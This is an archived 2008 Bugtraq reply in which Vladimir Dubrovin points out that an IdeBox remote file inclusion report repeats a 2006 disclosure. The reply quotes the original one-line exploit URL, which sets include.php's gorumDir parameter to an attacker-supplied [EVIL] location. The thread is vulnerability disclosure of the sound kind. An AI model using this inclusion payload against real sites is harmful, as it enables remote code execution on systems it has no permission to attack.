Re: IdeBox (include) Remote File Inclusion Vulnerability

From: "Vladimir '3APA3A' Dubrovin" <3APA3A@xxxxxxxxxxxxxxxx>
Date: Thu, 26 Jun 2008 00:13:27 +0400

Dear Ghost hacker,

Old. Was reported by Kacper in 2006

http://securityvulns.ru/Ndocument286.html

--Wednesday, June 25, 2008, 4:17:38 PM, you wrote to bugtraq@xxxxxxxxxxxxxxxxx:

Gh> Exploit :
Gh> http://xxxx/[Path]/include.php?gorumDir=[EVIL]

--
~/ZARAZA http://securityvulns.com/
Таким образом этот путь дешевле и к нему легче добраться
тому, кто в состоянии до него добраться. (Твен)

References:
- IdeBox (include) Remote File Inclusion Vulnerability
  - From: Ghost hacker

Prev by Date: [ MDVSA-2008:123 ] - Updated imlib2 packages fix vulnerabilities
Next by Date: Multiple vulnerabilities in TietoEnator's Procapita school administration system, at least version "842 Procapita 840SP1"
Previous by thread: IdeBox (include) Remote File Inclusion Vulnerability
Next by thread: ERRATA - n.runs-SA-2008.001 - Jscape Secure FTP Applet
Index(es):
- Date
- Thread